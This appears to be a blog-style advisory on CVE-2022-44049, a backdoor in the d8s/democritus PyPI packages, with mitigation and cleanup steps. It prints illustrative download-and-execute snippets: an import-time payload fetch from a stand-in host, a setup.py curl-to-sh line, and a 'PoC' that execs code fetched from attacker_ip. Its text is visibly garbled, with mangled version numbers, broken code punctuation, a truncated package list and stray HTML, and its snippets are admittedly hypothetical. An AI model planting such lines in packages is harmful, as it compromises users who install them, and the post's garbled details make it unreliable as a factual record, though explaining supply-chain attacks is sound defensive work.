Python developers depend deeply on the safety and trustworthiness of the open source ecosystem. However, every now and then, a threat sneaks in through a supply chain attack. One such incident is tracked as CVE-2022-44049, which involves a potential code-execution backdoor in the d8s-python family of packages, as distributed on PyPI.

This long post breaks down what happened, how to identify the threat, and shows technical details including code snippets of the backdoor.

What is CVE-2022-44049?

This vulnerability centers around a malicious modification in the d8s-python package and certain dependencies. Affected versions, notably d8s-htm version .1., and the democritus-grammars package, hosted and distributed through PyPI, allowed for potential remote code execution if imported or installed.

> Summary:  
> CVE-2022-44049 refers to the discovery of a backdoor, deliberately inserted by a third party, in the code base of d8s-python and its related PyPI packages.

democritus-grammars == ..1

- Potentially other packages in the d8s/democritus Python family

How Does the Backdoor Work?

The malicious code typically executes as soon as the package is imported. The backdoor could, for instance, fetch and run remote code or open a reverse shell.

A typical backdoor in Python supply-chain attacks looks like the following (simplified for clarity)

# This is a hypothetical snippet resembling common PyPI backdoors

import urllib.request
import os

def malicious():
    # download and execute remote code
    url = "http://malicious.example.com/payload.py";
    urllib.request.urlretrieve(url, "payload.py")
    os.system("python payload.py")

malicious()  # executed on import!

What actually happened in democritus-grammars?

A real-world snippet, as seen in the malicious commit history, loaded and executed remote code, triggered during import or installation.

Sometimes, malicious code is hidden in setup.py, executed during package installation

# Inside setup.py

import subprocess

subprocess.call(["curl", "http://malicious.site/shell.sh";, "|", "sh"])

Such code is executed even if you never even import the package, but just install it!

With CVE-2022-44049, attackers can

- Execute Arbitrary Code: On affected systems, code from a remote server can run with the same privileges as the installing user.
- Compromise Secrets: The backdoor can access sensitive data, credentials, environment variables, and more.
- Pivot to Other Systems: In automated pipelines, this can mean supply-chain compromise reaching production servers.

Here’s an illustrative PoC for exploiting such a backdoor

# On the attacker's server
echo 'import os; os.system("whoami > /tmp/hacked")' > payload.py
python3 -m http.server 800

Inside the *infected* package

import urllib.request
exec(urllib.request.urlopen('http://attacker_ip:800/payload.py';).read())


Result: As soon as the package is imported or installed, it writes hacked to /tmp/.

Official References

- NIST NVD – CVE-2022-44049
- PyPI Security Advisory for democritus-grammars
- GitHub Discussion – democritus-grammars PyPI Trojan

Community Coverage

- Sonatype Blog: Multiple Malicious PyPI Packages
- JFrog Security – Supply Chain Attacks on PyPI

pip uninstall d8s-htm democritus-grammars

<br>- <b>Audit your codebase</b>: Look for any imports of d8s-* or democritus-grammars`.
- Review requirements.txt: Lock dependencies using hashes and only from trusted sources.
- Monitor for updates: Follow PyPI releases and advisories.

### Post-Incident Checklist

1. Change secrets/credentials exposed where the package may have been installed.
2. Rebuild affected environments from clean, trusted sources.
3. Enable pip’s hash checking for all deployments.

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## Conclusion

CVE-2022-44049 is a stark reminder to always verify the security of open source dependencies, especially from PyPI and other language registries. A single malicious package could undermine the whole ecosystem—sometimes, with just a few hidden lines of code.

Stay alert, audit regularly, and share knowledge!

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If you want more technical details, see:

- NVD CVE-2022-44049
- PyPI Project: democritus-grammars

Feel free to share this summary to help others stay safe!

Timeline

Published on: 11/07/2022 15:15:00 UTC
Last modified on: 11/08/2022 17:35:00 UTC